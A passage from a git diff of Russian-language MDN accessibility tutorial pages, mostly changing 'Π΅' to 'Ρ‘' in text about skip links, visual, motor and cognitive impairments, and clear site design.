ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²ΠΊΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Ρ‡Ρ‚ΠΎ позволяСт Π»Π΅Π³ΠΊΠΎ Π΅Π³ΠΎ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ '><code>&lt;div&gt;</code></a><font><font> с ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π°ΠΌΠΈ ΠΈΠ»ΠΈ классами, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β </font></font><code>&lt;div class="nav"&gt;</code><font><font>, Π½ΠΎ это создавало ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π½Π΅ Π±Ρ‹Π»ΠΎ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ простого способа найти ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉΒ Ρ€Π°Π·Π΄Π΅Π» страницы ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹ΠΌ способом.</font></font></p>
-<p>ΠŸΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΌ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ Π±Ρ‹Π»ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΈΠ»ΠΈ нСсколько скрытых ссылок Π²Π²Π΅Ρ€Ρ…Ρƒ страницы для ссылки Π½Π° Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΡŽ (ΠΈΠ»ΠΈΒ Π½Π° Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΅Ρ‰Π΅), Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>ΠŸΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΌ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ Π±Ρ‹Π»ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΈΠ»ΠΈ нСсколько скрытых ссылок Π²Π²Π΅Ρ€Ρ…Ρƒ страницы для ссылки Π½Π° Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΡŽ (ΠΈΠ»ΠΈΒ Π½Π° Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΅Ρ‰Ρ‘), Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre class="brush: html">&lt;a href="#hidden" class="hidden"&gt;Skip to navigation&lt;/a&gt;</pre>
-<p>Но это всС Π΅Ρ‰Π΅ Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ Ρ‚ΠΎΡ‡Π½ΠΎ, ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° чтСния с экрана Ρ‡ΠΈΡ‚Π°Π΅Ρ‚ свСрху страницы.</p>
+<p>Но это всС Π΅Ρ‰Ρ‘ Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ Ρ‚ΠΎΡ‡Π½ΠΎ, ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° чтСния с экрана Ρ‡ΠΈΡ‚Π°Π΅Ρ‚ свСрху страницы.</p>
<p>Π’ качСствС Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, Π² прилоТСния ΡΡ‚Π°Π»ΠΈΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ слоТныС элСмСнты управлСния, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ поля Π²Ρ‹Π±ΠΎΡ€Π° Π΄Π°Ρ‚Ρ‹, ΠΏΠΎΠ»Π·ΡƒΠ½ΠΊΠΈ для Π²Ρ‹Π±ΠΎΡ€Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ ΠΈ Ρ‚.Π΄. HTML5 прСдоставляСт ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ Π²Π²ΠΎΠ΄Π° для отобраТСния Ρ‚Π°ΠΊΠΈΡ… элСмСнтов управлСния:</p>
diff --git a/files/ru/learn/accessibility/what_is_accessibility/index.html b/files/ru/learn/accessibility/what_is_accessibility/index.html
index 16207ced8b..a4d3e3e2bc 100644
--- a/files/ru/learn/accessibility/what_is_accessibility/index.html
+++ b/files/ru/learn/accessibility/what_is_accessibility/index.html
@@ -77,7 +77,7 @@ original_slug: Learn/Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ/What_is_accessibility
<p>Β </p>
-<p>Π§Ρ‚ΠΎ касаСтся статистики: ΠΏΠΎ ΠΎΡ†Π΅Π½ΠΊΠ°ΠΌ ВсСмирной ΠžΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ ЗдравоохранСния:Β "285 ΠΌΠΈΠ»Π»ΠΈΠΎΠ½ΠΎΠ² Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ Π²ΠΎ всСм ΠΌΠΈΡ€Π΅ ΡΡ‚Ρ€Π°Π΄Π°ΡŽΡ‚ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡΠΌΠΈ зрСния: 39 ΠΌΠΈΠ»Π»ΠΈΠΎΠ½ΠΎΠ² слСпы ΠΈ 246 ΠΈΠΌΠ΅ΡŽΡ‚ слабовидСниС." (см.Β <a class="external external-icon" href="http://www.who.int/ru/news-room/fact-sheets/detail/blindness-and-visual-impairment">ΠΠ°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡ зрСния ΠΈ слСпота</a>). Π­Ρ‚ΠΎ большая ΠΈ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ Π³Ρ€ΡƒΠΏΠΏΠ° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ просто ΡƒΠΏΡƒΡ‰Π΅Π½Ρ‹, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ваш сайт Π½Π΅ Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ β€” ΠΏΠΎΡ‡Ρ‚ΠΈ Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€, ΠΊΠ°ΠΊ ΠΈ насСлСниС Π‘ΠΎΠ΅Π΄ΠΈΠ½Π΅Π½Π½Ρ‹Ρ… Π¨Ρ‚Π°Ρ‚ΠΎΠ² АмСрики.</p>
+<p>Π§Ρ‚ΠΎ касаСтся статистики: ΠΏΠΎ ΠΎΡ†Π΅Π½ΠΊΠ°ΠΌ ВсСмирной ΠžΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ ЗдравоохранСния:Β "285 ΠΌΠΈΠ»Π»ΠΈΠΎΠ½ΠΎΠ² Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊ Π²ΠΎ всСм ΠΌΠΈΡ€Π΅ ΡΡ‚Ρ€Π°Π΄Π°ΡŽΡ‚ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡΠΌΠΈ зрСния: 39 ΠΌΠΈΠ»Π»ΠΈΠΎΠ½ΠΎΠ² слСпы ΠΈ 246 ΠΈΠΌΠ΅ΡŽΡ‚ слабовидСниС." (см.Β <a class="external external-icon" href="http://www.who.int/ru/news-room/fact-sheets/detail/blindness-and-visual-impairment">ΠΠ°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡ зрСния ΠΈ слСпота</a>). Π­Ρ‚ΠΎ большая ΠΈ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ Π³Ρ€ΡƒΠΏΠΏΠ° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ просто ΡƒΠΏΡƒΡ‰Π΅Π½Ρ‹, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ваш сайт Π½Π΅ Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ β€” ΠΏΠΎΡ‡Ρ‚ΠΈ Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€, ΠΊΠ°ΠΊ ΠΈ насСлСниС Π‘ΠΎΠ΅Π΄ΠΈΠ½Ρ‘Π½Π½Ρ‹Ρ… Π¨Ρ‚Π°Ρ‚ΠΎΠ² АмСрики.</p>
<h3 id="Π›ΡŽΠ΄ΠΈ_с_Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡΠΌΠΈ_слуха">Π›ΡŽΠ΄ΠΈ с Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡΠΌΠΈ слуха</h3>
@@ -89,7 +89,7 @@ original_slug: Learn/Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ/What_is_accessibility
<h3 id="Π›ΡŽΠ΄ΠΈ_с_ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ_физичСскими_возмоТностями">Π›ΡŽΠ΄ΠΈ с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ физичСскими возмоТностями </h3>
-<p>Π­Ρ‚ΠΎ Π³Ρ€ΡƒΠΏΠΏΠ° людСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΈΠ½Π²Π°Π»ΠΈΠ΄Π½ΠΎΡΡ‚ΡŒ Π² ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ двиТСния, которая ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя чисто физичСскиС ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ (Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ потСря конСчности ΠΈΠ»ΠΈ ΠΏΠ°Ρ€Π°Π»ΠΈΡ‡), ΠΈΠ»ΠΈ нСврологичСскиС/гСнСтичСскиС расстройства, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ приводят ΠΊ слабости ΠΈΠ»ΠΈ ΠΏΠΎΡ‚Π΅Ρ€Π΅ контроля Π² конСчностях. НСкоторыС люди ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΡ‹Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ трудности с Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΡ‡Π½Ρ‹Ρ… Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠΉ Ρ€ΡƒΠΊ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… для использования ΠΌΡ‹ΡˆΠΈ, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΡΠ΅Ρ€ΡŒΠ΅Π·Π½ΠΎ Π·Π°Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚Ρ‹, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠ°Ρ€Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ Π΄ΠΎ Ρ‚Π°ΠΊΠΎΠΉ стСпСни, Ρ‡Ρ‚ΠΎ ΠΈΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a class="external external-icon" href="https://www.performancehealth.com/baseball-cap-head-pointer">ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ Π³ΠΎΠ»ΠΎΠ²Ρ‹</a> для взаимодСйствия с ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠΌ.</p>
+<p>Π­Ρ‚ΠΎ Π³Ρ€ΡƒΠΏΠΏΠ° людСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΈΠ½Π²Π°Π»ΠΈΠ΄Π½ΠΎΡΡ‚ΡŒ Π² ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠΈ двиТСния, которая ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя чисто физичСскиС ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ (Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ потСря конСчности ΠΈΠ»ΠΈ ΠΏΠ°Ρ€Π°Π»ΠΈΡ‡), ΠΈΠ»ΠΈ нСврологичСскиС/гСнСтичСскиС расстройства, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ приводят ΠΊ слабости ΠΈΠ»ΠΈ ΠΏΠΎΡ‚Π΅Ρ€Π΅ контроля Π² конСчностях. НСкоторыС люди ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΡ‹Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ трудности с Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΡ‡Π½Ρ‹Ρ… Π΄Π²ΠΈΠΆΠ΅Π½ΠΈΠΉ Ρ€ΡƒΠΊ, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Ρ… для использования ΠΌΡ‹ΡˆΠΈ, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΡΠ΅Ρ€ΡŒΡ‘Π·Π½ΠΎ Π·Π°Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚Ρ‹, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠ°Ρ€Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ Π΄ΠΎ Ρ‚Π°ΠΊΠΎΠΉ стСпСни, Ρ‡Ρ‚ΠΎ ΠΈΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a class="external external-icon" href="https://www.performancehealth.com/baseball-cap-head-pointer">ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ Π³ΠΎΠ»ΠΎΠ²Ρ‹</a> для взаимодСйствия с ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€ΠΎΠΌ.</p>
<p>Π­Ρ‚ΠΎΡ‚ Π²ΠΈΠ΄ инвалидности Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ старости, Π° Π½Π΅ ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ Ρ‚Ρ€Π°Π²ΠΌΡ‹ ΠΈΠ»ΠΈ состояния, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½Ρ‹Ρ… ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ β€” Ρƒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅ Π±Ρ‹Ρ‚ΡŒ ΠΌΡ‹ΡˆΠΈ.</p>
@@ -101,7 +101,7 @@ original_slug: Learn/Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ/What_is_accessibility
<p>ВСроятно, самый ΡˆΠΈΡ€ΠΎΠΊΠΈΠΉ спСктр инвалидности ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π² этой ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ β€” ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΈΠ²Π½Ρ‹Π΅ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡ Π² ΡˆΠΈΡ€ΠΎΠΊΠΎΠΌ смыслС ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚ΡŒΡΡ ΠΊ инвалидности ΠΎΡ‚ психичСских Π·Π°Π±ΠΎΠ»Π΅Π²Π°Π½ΠΈΠΉ Π΄ΠΎ трудностСй Π² ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠΈ, трудности Π² ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠΈ ΠΈ ΠΊΠΎΠ½Ρ†Π΅Π½Ρ‚Ρ€Π°Ρ†ΠΈΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <a class="external external-icon" href="https://www.nimh.nih.gov/health/topics/attention-deficit-hyperactivity-disorder-adhd/index.shtml">Π‘Π”Π’Π“ (синдром Π΄Π΅Ρ„ΠΈΡ†ΠΈΡ‚Π° внимания ΠΈ гипСрактивности)</a>, людям <a class="external external-icon" href="https://www.nimh.nih.gov/health/topics/autism-spectrum-disorders-asd/index.shtml">аутистичСского спСктра</a>, людям с <a class="external external-icon" href="https://www.nimh.nih.gov/health/topics/schizophrenia/index.shtml">ΡˆΠΈΠ·ΠΎΡ„Ρ€Π΅Π½ΠΈΠ΅ΠΉ</a>, ΠΈ мноТСство Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ‚ΠΈΠΏΠΎΠ² Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΠΉ. ВакиС нСдостатки могут ΠΏΠΎΠ²Π»ΠΈΡΡ‚ΡŒ Π½Π° ΠΌΠ½ΠΎΠ³ΠΈΠ΅ Π΄Π΅Ρ‚Π°Π»ΠΈ повсСднСвной ΠΆΠΈΠ·Π½ΠΈ ΠΈΠ·-Π·Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ с ΠΏΠ°ΠΌΡΡ‚ΡŒΡŽ, Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ, ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ΠΌ, Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ΠΌΒ ΠΈ Ρ‚. Π΄.</p>
-<p>НаиболСС распространСнныС способы, Π²Ρ‹Π·Π²Π°Π½Π½Ρ‹Π΅ ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΈΠ²Π½Ρ‹ΠΌΠΈ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ²Π»ΠΈΡΡ‚ΡŒ Π½Π° использованиС Π²Π΅Π±-сайта — трудности с ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π·Π°Π΄Π°Ρ‡Ρƒ;Β Π²ΡΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π±Ρ‹Π»ΠΎ Ρ€Π°Π½Π΅Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ;Β ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½Π½ΠΎΠ΅ Ρ€Π°Π·ΠΎΡ‡Π°Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π² Π·Π°ΠΏΡƒΡ‚Π°Π½Π½Ρ‹Ρ… Ρ€Π°Π±ΠΎΡ‡ΠΈΡ… процСссах ΠΈΠ»ΠΈ Π½Π΅ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠ°ΠΊΠ΅Ρ‚Π°Ρ…/Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ/Π΄Ρ€ΡƒΠ³ΠΈΡ… функциях страницы.</p>
+<p>НаиболСС распространённыС способы, Π²Ρ‹Π·Π²Π°Π½Π½Ρ‹Π΅ ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΈΠ²Π½Ρ‹ΠΌΠΈ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ²Π»ΠΈΡΡ‚ΡŒ Π½Π° использованиС Π²Π΅Π±-сайта — трудности с ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π·Π°Π΄Π°Ρ‡Ρƒ;Β Π²ΡΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π±Ρ‹Π»ΠΎ Ρ€Π°Π½Π΅Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΎ;Β ΠΏΠΎΠ²Ρ‹ΡˆΠ΅Π½Π½ΠΎΠ΅ Ρ€Π°Π·ΠΎΡ‡Π°Ρ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π² Π·Π°ΠΏΡƒΡ‚Π°Π½Π½Ρ‹Ρ… Ρ€Π°Π±ΠΎΡ‡ΠΈΡ… процСссах ΠΈΠ»ΠΈ Π½Π΅ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠ°ΠΊΠ΅Ρ‚Π°Ρ…/Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ/Π΄Ρ€ΡƒΠ³ΠΈΡ… функциях страницы.</p>
<p>Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ доступности ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π°, Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ быстрыС исправлСния для ΠΌΠ½ΠΎΠ³ΠΈΡ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ доступности, связанных с ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΈΠ²Π½Ρ‹ΠΌΠΈ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡΠΌΠΈ; Π»ΡƒΡ‡ΡˆΠ΅Π΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρƒ вас Π΅ΡΡ‚ΡŒ β€” ΡΡ‚ΠΎΒ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π²Π΅Π±-сайты Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈΒ Π»ΠΎΠ³ΠΈΡ‡Π½Ρ‹ΠΌΠΈ,Β ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΈ ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΌΠΈ для ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΡΒ Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ, насколько это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ. НапримСр, ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ:</p>
@@ -113,12 +113,12 @@ original_slug: Learn/Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ/What_is_accessibility
<li>страницы Π½Π΅ слишком Π΄Π»ΠΈΠ½Π½Ρ‹Π΅ ΠΈΠ»ΠΈ ΠΏΠ»ΠΎΡ‚Π½Ρ‹Π΅ с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния количСства ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, прСдставлСнной сразу.</li>
<li>язык, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π½Π° Π²Π°ΡˆΠΈΡ… страницах, Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ прост ΠΈ ΡƒΠ΄ΠΎΠ±Π΅Π½, насколько это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΠΈ Π½Π΅ ΠΏΠΎΠ»ΠΎΠ½ Π½Π΅Π½ΡƒΠΆΠ½ΠΎΠ³ΠΎ ΠΆΠ°Ρ€Π³ΠΎΠ½Π° ΠΈ слСнга.</li>
<li>Π²Π°ΠΆΠ½Ρ‹Π΅Β ΠΌΠΎΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π²Ρ‹Π΄Π΅Π»Π΅Π½Ρ‹ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ способом.</li>
- <li>ошибки ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Ρ‡Π΅Ρ‚ΠΊΠΎ Π²Ρ‹Π΄Π΅Π»Π΅Π½Ρ‹, с подсказкой ΠΈ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅ΠΌΡ‹ΠΌ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ.</li>
